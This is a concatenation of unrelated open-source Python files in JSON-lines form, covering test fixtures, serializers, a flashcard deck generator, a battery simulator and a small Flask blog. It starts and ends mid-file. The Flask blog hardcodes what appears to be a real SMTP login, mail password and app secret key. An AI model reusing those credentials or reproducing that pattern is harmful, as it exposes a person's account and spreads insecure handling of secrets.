zmq.NOBLOCK)\n response = self.socket.recv()\n response = int(response)\n return response\n\n def start_remote_agent(self):\n return int(self.send_cmd(b\"start_remote_agent\"))\n\n def is_remote_agent_running(self):\n return bool(int(self.send_cmd(b\"is_remote_agent_running\")))\n\n def stop_remote_agent(self):\n return int(self.send_cmd(b\"stop_remote_agent\"))\n\n def stop(self):\n return self.stop_remote_agent()\n\n def terminate_remote_agent(self):\n return int(self.send_cmd(b\"terminate_remote_agent\"))\n\n def terminate(self):\n return self.terminate_remote_agent()\n\n\n@pytest.fixture(scope='module')\ndef remote_agent_manager(request):\n agents = []\n\n class RemoteAgentManager(object):\n def create_remote_agent_proxy(self, ip, port=567890):\n agent = RemoteAgentHostProxy(ip, port)\n agents.append(agent)\n return agent\n\n def start_remote_agent(self, scriptPath, configPath, ip, port=567890):\n agent = RemoteAgentHostProxy(ip, port)\n agent.upload_agent_script(scriptPath)\n agent.upload_agent_config(configPath)\n agent.start_remote_agent()\n agents.append(agent)\n return agent\n\n def get_agent(self, idx):\n return agents[idx]\n\n def teardown():\n print(\"\\nTerminate all Local Agent processes\")\n for agent in agents:\n if agent.is_remote_agent_running():\n agent.stop_remote_agent()\n\n request.addfinalizer(teardown)\n return RemoteAgentManager()\n","repo_name":"wishful-project/tests","sub_path":"common/remote_agent_managers.py","file_name":"remote_agent_managers.py","file_ext":"py","file_size_in_byte":6696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"37525734650","text":"#!/usr/bin/python3\n\"\"\"Defines a class Base\"\"\"\n\nimport json\nimport csv\nimport sys\nimport turtle\n\n\nclass Base:\n \"\"\"class called Base\"\"\"\n\n __nb_objects = 0\n\n def __init__(self, id=None):\n \"\"\"initializes a new instance\n\n Args:\n id ( optional): id of the base. Defaults to None.\n \"\"\"\n if id is not None:\n self.id = id\n else:\n Base.__nb_objects += 1\n self.id = Base.__nb_objects\n\n @staticmethod\n def to_json_string(list_dictionaries):\n \"\"\"serializes to a json string\n\n Args:\n list_dictionaries (list): list of dictionaries\n\n Returns:\n json str: json representation of list_dictionaries\n \"\"\"\n if list_dictionaries is None or len(list_dictionaries) == 0:\n return \"[]\"\n\n return json.dumps(list_dictionaries)\n\n @classmethod\n def save_to_file(cls, list_objs):\n \"\"\"writes json string representation to a file\n\n Args:\n list_objs (list): lsit of instances\n \"\"\"\n filename = cls.__name__ + \".json\"\n if list_objs is None or len(list_objs) == 0:\n with open(filename, \"w\") as f:\n f.write(\"[]\")\n else:\n dictionarie_s = [cls.to_dictionary(obj) for obj in list_objs]\n with open(filename, \"w\") as f:\n f.write(cls.to_json_string(dictionarie_s))\n\n @staticmethod\n def from_json_string(json_string):\n \"\"\"\n returns a list of json string representation\n \"\"\"\n if json_string is None or len(json_string) == 0:\n return []\n else:\n return json.loads(json_string)\n\n @classmethod\n def create(cls, **dictionary):\n \"\"\"\n creates an instance with all attributes already set\n \"\"\"\n if cls.__name__ == \"Rectangle\":\n dummy = cls(1, 1)\n else:\n dummy = cls(1)\n dummy.update(**dictionary)\n return dummy\n\n @classmethod\n def load_from_file(cls):\n \"\"\"\n returns a list of inctances\n \"\"\"\n filename = cls.__name__ + \".json\"\n\n try:\n with open(filename, \"r\") as f:\n json_string = f.read()\n except FileNotFoundError:\n return []\n\n dict_s = cls.from_json_string(json_string)\n return [cls.create(**dictionary) for dictionary in dict_s]\n\n @classmethod\n def save_to_file_csv(cls, list_objs):\n \"\"\"\n serializes in CSV format\n Args:\n list_objs (list): list of objects to serialize\n \"\"\"\n a_list = [cls.to_dictionary(obj) for obj in list_objs]\n filename = cls.__name__ + \".csv\"\n if cls.__name__ == \"Rectangle\":\n format = [\"id\", \"width\", \"height\", \"x\", \"y\"]\n else:\n format = [\"id\", \"size\", \"x\", \"y\"]\n\n with open(filename, \"w\") as csv_file:\n obj_instance = csv.DictWriter(csv_file, fieldnames=format)\n obj_instance.writeheader()\n obj_instance.writerows(a_list)\n\n @classmethod\n def load_from_file_csv(cls):\n \"\"\"\n desializes in CSV format\n \"\"\"\n filename = cls.__name__ + \".csv\"\n\n try:\n with open(filename, \"r\") as csv_file:\n read = csv.DictReader(csv_file)\n\n for dict in read:\n for key, value in dict.items():\n try:\n dict[key] = int(value)\n except ValueError:\n sys.exit(\"{} must be an intger.\\\n Line on csv file: {}\".format(key,\n read.line_num))\n dict_s = []\n dict_s.append(dict)\n return [cls.create(**dict) for dict_h in dict_s]\n except FileNotFoundError:\n return []\n\n @staticmethod\n def draw(list_rectangles, list_squares):\n \"\"\"\n Draws all the rectangles and squares\n \"\"\"\n t = turtle.Turtle()\n","repo_name":"thatboyreegan/alx-higher_level_programming","sub_path":"0x0C-python-almost_a_circle/models/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":4087,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"12464489625","text":"for tc in range(int(input())):\n n = map(int,input().split())\n lst = list(map(int,input().split()))\n dp = [0]*len(lst)\n res = 0\n cnt = 0\n for i in range(1,len(lst)):\n if lst[i]>lst[i-1]:\n dp[i]=1+dp[i-1]\n elif lst[i] == lst[i-1]:\n dp[i] = dp[i-1]\n if dp[i] == 4:\n res+=1\n dp[i] = 0\n for j in range(len(lst)-2,-1,-1):\n if lst[j] >lst[j+1]:\n dp[j] = dp[j+1]+1\n elif lst[j] == lst[j+1]:\n dp[j]=dp[j+1]\n\n if dp[j] == 4:\n res+=1\n dp[j] = 0\n\n print(\"Case #{}: {}\".format(tc+1,res))","repo_name":"VaibhavD143/Coding","sub_path":"b.py","file_name":"b.py","file_ext":"py","file_size_in_byte":628,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"513293066","text":"from flask_restful import fields, marshal\nfrom ..models.expense import Expense\n\n\nclass ModelSerializer(object):\n\n output = None\n input = None\n\n @classmethod\n def serialize(cls, data):\n return marshal(data, cls.output)\n\n\nclass PlainExpenseSerializer(ModelSerializer):\n\n output = {\n 'date': fields.DateTime(dt_format='iso8601'),\n 'amount': fields.Float(),\n 'tags': fields.List(fields.String),\n 'account': fields.String(),\n 'note': fields.String()\n }\n\n\nclass MonthlyExpenseSerializer(ModelSerializer):\n\n months_serializer = {\n 'month': fields.Integer(),\n 'amount': fields.Integer()\n }\n\n output = {\n 'date': fields.DateTime(dt_format='iso8601'),\n 'amount': fields.Float(),\n 'tags': fields.List(fields.String),\n 'account': fields.String(),\n 'note': fields.String(),\n 'months': fields.List(fields.Nested(months_serializer)),\n 'total_months': fields.Integer()\n }\n\n\nclass ExpenseSerializer(ModelSerializer):\n\n @classmethod\n def serialize(cls, data):\n res = []\n for d in data if type(data) is list else [data]:\n if d.type == Expense.type:\n serializer = PlainExpenseSerializer.output\n else:\n serializer = MonthlyExpenseSerializer.output\n\n res.append(marshal(d, serializer))\n\n return res\n\n\nclass AccountSerializer(ModelSerializer):\n\n output = {\n 'name': fields.String(),\n 'currency': fields.String(),\n 'note': fields.String(),\n }\n\n\n","repo_name":"sebastiandev/biyuya","sub_path":"biyuya/api/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"6099820410","text":"# flake8: noqa: E402\nimport argparse\nimport logging\nimport os\nimport sys\nfrom logging.config import dictConfig\nfrom pathlib import Path\n\nsys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))\n\nfrom scripts.conf.logging_config import logging_config\nfrom scripts.models.deck_csv import (\n BASE_FORM_CSV,\n DEFINITION_CSV,\n DUP_ANSWER_CSV,\n DUP_DEFINITION_CSV,\n FINALIZE_CSV,\n OLD_DUP_DEFINITION_CSV,\n PART_OF_SPEECH_CSV,\n SOURCE_CSV,\n Column,\n DeckCsv,\n)\nfrom scripts.models.deck_process import DeckProcess\nfrom scripts.models.language import Language\nfrom scripts.models.part_of_speech import PartOfSpeech\nfrom scripts.utils.csv_utils import append_csv_rows, init_csv, merge_csv_data, read_csv\nfrom scripts.utils.deck_utils import (\n check_definition_length,\n chunks,\n create_prompt,\n get_data_from_chat_gpt,\n get_duplicated_definitions,\n group_by_pos,\n lowercase_article,\n lowercase_word,\n parts_of_speech,\n remove_duplicated_answers,\n remove_invalid_part_of_speech,\n sort_by_answer,\n sort_by_id,\n update_values,\n)\n\nif __name__ == \"__main__\":\n dictConfig(logging_config)\n\nlogger = logging.getLogger(__name__)\n\nDEFAULT_CHUNK_SIZE = 100\nMAX_WORDS_PER_FILE = 1000\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"lang\", choices=Language.get_choices(), help=\"Language\")\n parser.add_argument(\n \"deck_process\", choices=DeckProcess.get_choices(), help=\"Process\"\n )\n parser.add_argument(\"--chunk\", help=\"Chunk size\")\n parser.add_argument(\"--loglevel\", default=\"INFO\", help=\"Set log level\")\n args = parser.parse_args()\n\n chunk_size = DEFAULT_CHUNK_SIZE\n if args.chunk:\n chunk_size = int(args.chunk)\n logger.info(f\"chunk size: {chunk_size}\")\n\n levels = {\n \"DEBUG\": logging.DEBUG,\n \"INFO\": logging.INFO,\n \"WARNING\": logging.WARNING,\n \"ERROR\": logging.ERROR,\n \"CRITICAL\": logging.CRITICAL,\n }\n level = levels.get(args.loglevel.upper())\n if not level:\n raise ValueError(f\"Invalid log level: {args.loglevel}\")\n root_logger = logging.getLogger()\n root_logger.setLevel(level)\n\n lang = Language(args.lang)\n deck_process = DeckProcess(args.deck_process)\n\n logger.info(f\"start: {lang}, {deck_process}\")\n\n total_tokens = 0\n if deck_process == DeckProcess.PART_OF_SPEECH:\n total_tokens = _add_part_of_speech(chunk_size, lang)\n elif deck_process == DeckProcess.BASE_FORM:\n total_tokens = _convert_to_base_form(chunk_size, lang)\n elif deck_process == DeckProcess.REMOVE_DUP_ANSWER:\n _remove_duplicated_answers()\n elif deck_process == DeckProcess.DEFINITION:\n total_tokens = _add_definition(chunk_size, lang)\n elif deck_process == DeckProcess.REMOVE_DUP_DEFINITION:\n total_tokens = _remove_duplicated_definitions(chunk_size, lang)\n elif deck_process == DeckProcess.FINALIZE:\n _finalize(MAX_WORDS_PER_FILE)\n\n logger.info(f\"total_tokens: {total_tokens}\")\n\n\ndef _add_part_of_speech(chunk_size: int, lang: Language) -> int:\n init_csv(PART_OF_SPEECH_CSV)\n csv_rows = read_csv(SOURCE_CSV)\n total_tokens = 0\n\n for chunk_csv_rows in chunks(csv_rows, chunk_size):\n prompt = create_prompt(\"part_of_speech\", lang, chunk_csv_rows)\n pos_list, tokens = get_data_from_chat_gpt(\n prompt, [Column.ID, Column.PART_OF_SPEECH], chunk_csv_rows, SOURCE_CSV\n )\n total_tokens += tokens\n if pos_list is None:\n continue\n filtered_pos_list = remove_invalid_part_of_speech(pos_list, lang)\n merged_csv_rows = merge_csv_data(\n chunk_csv_rows, filtered_pos_list, Column.PART_OF_SPEECH\n )\n append_csv_rows(PART_OF_SPEECH_CSV, merged_csv_rows)\n\n return total_tokens\n\n\ndef _convert_to_base_form(chunk_size: int, lang: Language) -> int:\n init_csv(BASE_FORM_CSV)\n csv_rows = read_csv(PART_OF_SPEECH_CSV, remove_header=True)\n pos_dict = group_by_pos(csv_rows)\n total_tokens = 0\n\n for part_of_speech, pos_csv_rows in parts_of_speech(pos_dict):\n for chunk_csv_rows in chunks(pos_csv_rows, chunk_size):\n if part_of_speech == PartOfSpeech.NOUN:\n prompt = create_prompt(\"base_form_noun\", lang, chunk_csv_rows)\n else:\n prompt = create_prompt(\n \"base_form\", lang, chunk_csv_rows, part_of_speech=part_of_speech\n )\n base_list, tokens = get_data_from_chat_gpt(\n prompt, [Column.ID, Column.ANSWER], chunk_csv_rows, PART_OF_SPEECH_CSV\n )\n total_tokens += tokens\n if base_list is None:\n continue\n merged_csv_rows = merge_csv_data(chunk_csv_rows, base_list, Column.ANSWER)\n\n if part_of_speech == PartOfSpeech.NOUN:\n prompt = create_prompt(\"article\", lang, merged_csv_rows)\n article_list, tokens = get_data_from_chat_gpt(\n prompt,\n [Column.ID, Column.ANSWER],\n chunk_csv_rows,\n PART_OF_SPEECH_CSV,\n )\n total_tokens += tokens\n if article_list is None:\n continue\n merged_csv_rows = merge_csv_data(\n merged_csv_rows, article_list, Column.ANSWER\n )\n merged_csv_rows = lowercase_article(merged_csv_rows, lang)\n else:\n merged_csv_rows = lowercase_word(merged_csv_rows)\n\n append_csv_rows(BASE_FORM_CSV, merged_csv_rows)\n\n return total_tokens\n\n\ndef _remove_duplicated_answers():\n init_csv(DUP_ANSWER_CSV)\n csv_rows = read_csv(BASE_FORM_CSV, remove_header=True)\n filtered_csv_rows = remove_duplicated_answers(csv_rows)\n pos_dict = group_by_pos(filtered_csv_rows)\n\n for _, pos_csv_rows in parts_of_speech(pos_dict):\n sorted_csv_rows = sort_by_answer(pos_csv_rows)\n append_csv_rows(DUP_ANSWER_CSV, sorted_csv_rows)\n\n\ndef _add_definition(chunk_size: int, lang: Language) -> int:\n init_csv(DEFINITION_CSV)\n csv_rows = read_csv(DUP_ANSWER_CSV, remove_header=True)\n pos_dict = group_by_pos(csv_rows)\n total_tokens = 0\n\n for part_of_speech, pos_csv_rows in parts_of_speech(pos_dict):\n for chunk_csv_rows in chunks(pos_csv_rows, chunk_size):\n if part_of_speech == PartOfSpeech.NOUN:\n prompt = create_prompt(\"definition_noun\", lang, chunk_csv_rows)\n else:\n prompt = create_prompt(\n \"definition\", lang, chunk_csv_rows, part_of_speech=part_of_speech\n )\n definition_list, tokens = get_data_from_chat_gpt(\n prompt, [Column.ID, Column.DEFINITION], chunk_csv_rows, DUP_ANSWER_CSV\n )\n total_tokens += tokens\n if definition_list is None:\n continue\n merged_csv_rows = merge_csv_data(\n chunk_csv_rows, definition_list, Column.DEFINITION\n )\n append_csv_rows(DEFINITION_CSV, merged_csv_rows)\n\n return total_tokens\n\n\ndef _remove_duplicated_definitions(chunk_size: int, lang: Language) -> int:\n init_csv(OLD_DUP_DEFINITION_CSV, check_file_exists=False)\n csv_rows = read_csv(DUP_DEFINITION_CSV, remove_header=True)\n append_csv_rows(OLD_DUP_DEFINITION_CSV, csv_rows)\n\n logger.info(f\"total definitions: {len(csv_rows)}\")\n init_csv(DUP_DEFINITION_CSV, check_file_exists=False)\n duplicates, non_duplicates = get_duplicated_definitions(csv_rows)\n logger.info(f\"duplicated definitions: {len(duplicates)}\")\n append_csv_rows(DUP_DEFINITION_CSV, non_duplicates)\n pos_dict = group_by_pos(duplicates)\n total_tokens = 0\n\n for part_of_speech, pos_csv_rows in parts_of_speech(pos_dict):\n for chunk_csv_rows in chunks(pos_csv_rows, chunk_size):\n prompt = create_prompt(\n \"duplicated_definition\",\n lang,\n chunk_csv_rows,\n words_columns=[Column.ID, Column.ANSWER, Column.DEFINITION],\n part_of_speech=part_of_speech,\n )\n definition_list, tokens = get_data_from_chat_gpt(\n prompt,\n [Column.ID, Column.ANSWER, Column.DEFINITION],\n chunk_csv_rows,\n DUP_DEFINITION_CSV,\n )\n total_tokens += tokens\n if definition_list is None:\n continue\n merged_csv_rows = merge_csv_data(\n chunk_csv_rows, definition_list, Column.DEFINITION\n )\n append_csv_rows(DUP_DEFINITION_CSV, merged_csv_rows)\n\n updated_csv_rows = read_csv(DUP_DEFINITION_CSV, remove_header=True)\n duplicates, _ = get_duplicated_definitions(updated_csv_rows)\n logger.info(f\"remaining duplicated definitions: {len(duplicates)}\")\n check_definition_length(updated_csv_rows)\n\n return total_tokens\n\n\ndef _finalize(chunk_size: int):\n csv_rows = read_csv(DUP_DEFINITION_CSV, remove_header=True)\n csv_rows = sort_by_id(csv_rows)\n\n for index, chunk_csv_rows in enumerate(chunks(csv_rows, chunk_size)):\n updated_csv_rows = []\n for row_index, row in enumerate(chunk_csv_rows):\n updated_row = update_values(row, row_index)\n updated_csv_rows.append(updated_row)\n csv = DeckCsv(\n Path(str(FINALIZE_CSV.file_path).replace(\".csv\", f\"{index + 1}.csv\")),\n FINALIZE_CSV.columns,\n )\n init_csv(csv)\n append_csv_rows(csv, updated_csv_rows)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"royisy/trilingo","sub_path":"scripts/deck_generator.py","file_name":"deck_generator.py","file_ext":"py","file_size_in_byte":9643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"6818219878","text":"import numpy as np\n\n\ndef get_genre_scores(movie_df, genre_set):\n \"\"\"\n Calculates genre scores from Topic-Specific Pagerank values. Refer to the project report for a bit more detailed\n explanation on how the scoress are calculated.\n :param movie_df: Movie dataframe with Topic-Specific Pagerank values, this is the output of mga.pagerank method\n :param genre_set: Set of genres\n :return: DataFrame similar to movie_df. Values in 'genre' columns are replaced with genre scores.\n \"\"\"\n genre_column_lst = []\n for genre in genre_set:\n genre_column_lst.append(genre)\n genre_column_lst.append('pagerank')\n score_df = movie_df.drop(columns=genre_column_lst)\n\n for genre in genre_set:\n x = np.array(movie_df['pagerank'])\n y = np.array(movie_df[f'{genre}'])\n m, b = np.polyfit(x, y, deg=1)\n new_y = y / (m * x + b)\n\n score_df[genre] = new_y - 1\n\n return score_df\n","repo_name":"seljukgulcan/movie-genre-analysis-with-pagerank","sub_path":"mga/score.py","file_name":"score.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"20997107754","text":"import master\nwhile 1:\n print(\"\"\"大牛写了很多的功能:\n chi\n he\n la\n shui\n\"\"\")\n val = input(\"请输入你要测试的功能:\") # he\n\n if hasattr(master, val):\n attr = getattr(master, val) # 从xxx对象或者模块中找xxxxx(字符串) 功能, 变量\n if callable(attr): # 判断这个鬼东西是否可以被调用\n attr()\n else:\n print(attr)\n else:\n print(\"[没有这个功能]\")\n\n# 把chi函数换成lambda\nprint(master.chi)\nsetattr(master, \"chi\", lambda x: x + 1)\nprint(master.chi)\n\n# delattr(master, \"la\") # 删除xxx\n# master.la()\n\n","repo_name":"zhangyu-yaoshen/Python","sub_path":"Python全栈第14期/1-python基础部分/day019 反射/模块内容/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"8750097277","text":"#!/usr/bin/env python\nfrom distutils.core import setup\n\nDESCRIPTION = (\n \"Togepy is a collection of tools to assist with developing games\\n\"\n \"under python. It is intended to be used with the game programming\\n\"\n \"library pyglet (http://www.pyglet.org) and provides a number of\\n\"\n \"useful extensions to its API.\"\n)\n\nMETADATA = {\n \"name\" : \"togepy\",\n \"version\" : \"0.1\",\n \"license\" : \"BSD\",\n \"url\" : \"\",\n \"author\" : \"Adam Biltcliffe, Martin O'Leary, Richard Thomas\",\n \"author_email\" : \"\",\n \"description\" : \"Tools for Game Engines in Python\",\n \"long_description\" : DESCRIPTION,\n}\n\nPACKAGEDATA = {\n \"packages\" : [\"togepy\"],\n \"package_dir\" : {\n \"togepy\" : \"togepy\",\n },\n \"package_data\" : {\n \"togepy\" : \"../html\",\n },\n}\n\nPACKAGEDATA.update(METADATA)\nsetup(**PACKAGEDATA)\n","repo_name":"zygoloid/triest","sub_path":"deps/togepy-0.1/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1018,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"73817541193","text":"# -*- coding: utf-8 -*-\nfrom flask import Flask,render_template,redirect,url_for,request,current_app\napp = Flask(__name__)\nfrom flask_wtf import Form\nfrom wtforms import StringField, TextAreaField, BooleanField, SelectField,\\\n SubmitField\nfrom wtforms.validators import Required, Length, Email, Regexp\nfrom wtforms import ValidationError\nfrom flask.ext.sqlalchemy import SQLAlchemy\nfrom flask.ext.script import Manager\nimport os\nfrom datetime import datetime\nfrom flask.ext.bootstrap import Bootstrap\nfrom flask.ext.mail import Mail\nfrom flask.ext.mail import Message\nfrom flask.ext.moment import Moment\n\nbasedir = os.path.abspath(os.path.dirname(__file__))\napp = Flask(__name__)\nbootstrap = Bootstrap(app)\nCSRF_ENABLED = True\napp.config['SECRET_KEY'] = 'hard-to-guss'\nmanager = Manager(app)\napp.config['SQLALCHEMY_DATABASE_URI'] =\\\n 'sqlite:///' + os.path.join(basedir, 'data.sqlite')\napp.config['SQLALCHEMY_COMMIT_ON_TEARDOWN'] = True\ndb = SQLAlchemy(app)\napp.config['MAIL_SERVER'] = 'smtp.163.com'\napp.config['MAIL_PORT'] = 25\napp.config['MAIL_USE_TLS'] = True\napp.config['MAIL_USERNAME'] = '18677522661@163.com'\napp.config['MAIL_PASSWORD'] = 'pegasus405'\napp.config['FLASKY_MAIL_SUBJECT_PREFIX'] = '[Flasky]'\napp.config['FLASKY_MAIL_SENDER'] = '18677522661@163.com'\napp.config['FLASKY_ADMIN'] = 'zaojue405@aliyun.com'\napp.config['FLASKY_POSTS_PER_PAGE'] = 20\nmail = Mail(app)#必须放在配置之后,等配置初始化并运行\nmoment = Moment(app)\n\ndef send_email(to,subject,template,**kwargs):\n msg = Message(app.config['FLASKY_MAIL_SUBJECT_PREFIX'] + ' ' + subject,\n sender=app.config['FLASKY_MAIL_SENDER'], recipients=[to])\n msg.body = render_template(template + '.txt',**kwargs)\n msg.html = render_template(template +'.html',**kwargs)\n mail.send(msg)\n\nclass Post(db.Model):\n __tablename__= 'posts'\n id = db.Column(db.Integer,primary_key = True)\n title = db.Column(db.String(64))\n body = db.Column(db.Text)\n timestamp = db.Column(db.DateTime, index=True,default=datetime.utcnow)\n\n\n def __repr__(self):\n return '' % self.title\n\nclass PostForm(Form):\n title = StringField('title')\n body = TextAreaField(\"What's on your mind?\", validators=[Required()])\n submit = SubmitField('Submit')\n\n@app.route('/', methods=['GET', 'POST'])\ndef index():\n form = PostForm()\n if form.validate_on_submit():\n \n post = Post(title=form.title.data,body=form.body.data)\n db.session.add(post)\n send_email(app.config['FLASKY_ADMIN'], 'NEW CONTEXT','mail/new_context',post=post)\n return redirect(url_for('.index'))\n page = request.args.get('page',1, type=int)\n pagination = Post.query.order_by(Post.timestamp.desc()).paginate(\n page,per_page=current_app.config['FLASKY_POSTS_PER_PAGE'],\n error_out=False)\n posts = pagination.items\n return render_template('index.html', form = form,posts=posts,pagination=pagination)\n \n@app.route('/post/')\ndef post(id):\n post = Post.query.get_or_404(id)\n return render_template('post.html', posts=[post])\n\nif __name__=='__main__':\n manager.run()","repo_name":"EverestYAO/blog","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":3137,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"11930174931","text":"from settings.constants import *\nfrom settings.variables import *\nfrom helpers.helpers import *\n\n# external classes\nfrom battery.batterysim import *\nfrom battery.batterygreedy import *\nfrom battery.batteryprices import *\nfrom battery.batteryco2 import *\nfrom battery.batteryself import *\nfrom battery.batteryflat import *\n\nclass Battery():\n\tdef __init__(self, house):\n\t\tself.name = \"Battery\"\n\t\tself.house = house\n\t\tself.number = self.house.housenumber\n\t\tself.type = \"storage\"\n\n\t\t# Placeholder, will be loaded upon initialize()\n\t\tself.batsoc = 0\n\t\tself.batminsoc = 0\n\t\tself.batcapacity = 0\n\t\tself.batpmin = 0\n\t\tself.batpmax = 0\n\n\t\tself.initialize()\n\n\t\t# Planning/control variable\n\t\tself.planning = [] # This list contains the control actions required\n\n\t# Simulation code\n\tdef execute(self, objective, prices, co2, profile, lossfree=True):\n\t\t# initialize the device\n\t\tself.initialize()\n\n\t\t# pre validation\n\t\tif not self.verify_input():\n\t\t\tprint(\"The input parameters for device \" + str(self.name) + \" of house \"+str(self.number) +\" are invalid! Aborting!\")\n\t\t\texit()\n\n\t\t# Perform the optimization\n\t\tplanning = self.optimize(objective, prices, co2, profile, lossfree)\n\t\tif not self.verify_planning(planning, lossfree):\n\t\t\tprint(\"The optimization algorithm for device \" + str(self.name) + \" yields invalid results! Aborting!\")\n\t\t\texit()\n\n\t\t# Perform the simulation\n\t\treturnprofile = self.simulate(planning, lossfree)\n\t\tif not self.verify_result(returnprofile, lossfree):\n\t\t\tprint(\"The simulation of device \" + str(self.name) + \" failed! Aborting!\")\n\t\t\texit()\n\n\t\tself.profile = returnprofile\n\t\treturn self.profile\n\n\t# Function to initialize the results\n\tdef initialize(self, resetLists = True):\n\t\tif resetLists:\n\t\t\t# initialize with empty profile\n\t\t\tself.profile = [0] * cfg_sim['intervals']\n\t\t\tself.planning = [0] * cfg_sim['intervals']\n\n\t\t# Battery settings\n\t\ttry:\n\t\t\tself.batsoc = cfg_houses[self.number][\"batsoc\"]\n\t\t\tself.batminsoc = cfg_houses[self.number][\"batminsoc\"]\n\t\t\tself.batcapacity = cfg_houses[self.number][\"batcapacity\"]\n\t\t\tself.batpmin = cfg_houses[self.number][\"batpmin\"]\n\t\t\tself.batpmax = cfg_houses[self.number][\"batpmax\"]\n\t\texcept:\n\t\t\tprint(\"Input for battery \" + str(self.number) + \" is invalid!\")\n\t\t\texit()\n\n\t# Optimization code\n\tdef optimize(self, objective, prices, co2, profile, lossfree):\n\t\tself.initialize(False)\n\t\tplanning = [0] * cfg_sim['intervals']\n\n\t\tif objective == \"optimize_greedy\":\n\t\t\treturn batterygreedy(self, prices, co2, profile, lossfree)\n\n\t\telif objective == \"optimize_prices\":\n\t\t\t# Perform price optimization\n\t\t\treturn batteryprices(self, prices, co2, profile, lossfree)\n\n\t\telif objective == \"optimize_co2\":\n\t\t\t# Perform CO2 emissions reduction\n\t\t\treturn batteryco2(self, prices, co2, profile, lossfree)\n\n\t\telif objective == \"optimize_self_consumption\":\n\t\t\t# Perform self-consumption optimization\n\t\t\treturn batteryself(self, prices, co2, profile, lossfree)\n\n\t\telif objective == \"optimize_profile_flatness\":\n\t\t\t# Optimize the device power profile towards a flat profile using the Euclidean distance vector norm (2-norm)\n\t\t\treturn batteryflat(self, prices, co2, profile, lossfree)\n\n\t\telse:\n\t\t\t# Default fallback\n\t\t\treturn planning\n\n\t# Simulation code\n\tdef simulate(self, planning=[], lossfree=True):\n\t\tself.initialize(False)\n\t\treturn batterysim(self, planning, lossfree)\n\n\t# Function to verify the created planning by the optimization code\n\t# But also to verify user input, is it valid input?\n\tdef verify_input(self):\n\t\tassert (self.batcapacity >= 0)\n\t\tassert (self.batminsoc >= 0)\n\t\tassert (self.batsoc >= 0)\n\t\tassert (self.batsoc <= self.batcapacity)\n\t\tassert (self.batminsoc <= self.batcapacity)\n\t\tassert (self.batpmin <= self.batpmax)\n\n\t\tif self.batpmin < self.batcapacity*cfg_sim['bat_maxcrate']*-1000:\n\t\t\tprint(\"Input for battery \" + str(self.number) + \" is invalid! The minimum power (batpmin) may not be lower than -\"+str(cfg_sim['bat_maxcrate'])+\" C-rate. The lowest allowed value given its capacity is: \"+str( self.batcapacity*cfg_sim['bat_maxcrate']*-1000))\n\t\t\texit()\n\t\tif self.batpmax > self.batcapacity*cfg_sim['bat_maxcrate']*1000:\n\t\t\tprint(\"Input for battery \" + str(self.number) + \" is invalid! The maximumpower (batpmax) may not be higher than -\"+str(cfg_sim['bat_maxcrate'])+\" C-rate. The highest allowed value given its capacity is: \"+str( self.batcapacity*cfg_sim['bat_maxcrate']*1000))\n\t\t\texit()\n\n\t\treturn True\n\n\tdef verify_planning(self, planning, lossfree=True):\n\t\tself.initialize(False)\n\t\tassert (len(self.planning) == cfg_sim['intervals'])\n\t\treturn True\n\n\t# Function to verify if the code functions correctly\n\tdef verify_result(self, profile, lossfree=True):\n\t\tself.initialize(False)\n\t\tassert (len(self.profile) == cfg_sim['intervals'])\n\t\t\n\t\t# Internal conversion to Wtau\n\t\tcapacity = 1000 * (3600 / cfg_sim['timebase']) * self.batcapacity\n\t\tsoc = 1000 * (3600 / cfg_sim['timebase']) * self.batsoc\n\t\tminsoc = 1000 * (3600 / cfg_sim['timebase']) * self.batminsoc\n\n\t\tassert (len(profile) == cfg_sim['intervals'])\n\t\tfor value in profile:\n\t\t\tassert (value >= self.batpmin)\n\t\t\tassert (value <= self.batpmax)\n\n\t\t\t# determine if the SoC at the end of the interval will be in bounds\n\t\t\tif lossfree:\n\t\t\t\tsoc += value\n\t\t\t\t\n\t\t\telse:\n\t\t\t\tif value > 0:\n\t\t\t\t\t# Charging:\n\t\t\t\t\tsoc += value * 0.95\n\t\t\t\telse:\n\t\t\t\t\tsoc += value * 1.05\n\t\t\t\n\t\t\tassert (soc >= minsoc - 0.1)\n\t\t\tassert (soc <= capacity + 0.1)\n\t\treturn True\n","repo_name":"Daniel-Lizarazo-Fuentes/M9-Project","sub_path":"static/battery.py","file_name":"battery.py","file_ext":"py","file_size_in_byte":5363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"19403587","text":"import gzip\nimport json\nimport argparse\n# get name script with longest length\ndef get_longest_lang(content):\n \n longest_lang = \"\"\n longest_len = 0\n \n for lang in content.keys():\n lang_len = len(\" \".join(content[lang]))\n if lang_len > longest_len:\n longest_lang = lang\n longest_len = lang_len\n \n # Delete me / for test\n \"\"\"\n if longest_lang == \"Armenian\":\n print(\"Longest: {} ({})\".format(longest_lang, longest_len))\n print(\" test content: {}\".format(\n \"\".join(content[\"Armenian\"])[:100]\n ))\n for lang in content.keys():\n lang_len = len(\"\".join(content[lang]))\n print(\" {}: {}\".format(lang, lang_len))\n \"\"\"\n \n return longest_lang\n\n\nif __name__ == \"__main__\":\n \n parser = argparse.ArgumentParser()\n parser.add_argument(\"--input\", dest=\"input\", help=\"Input file\")\n 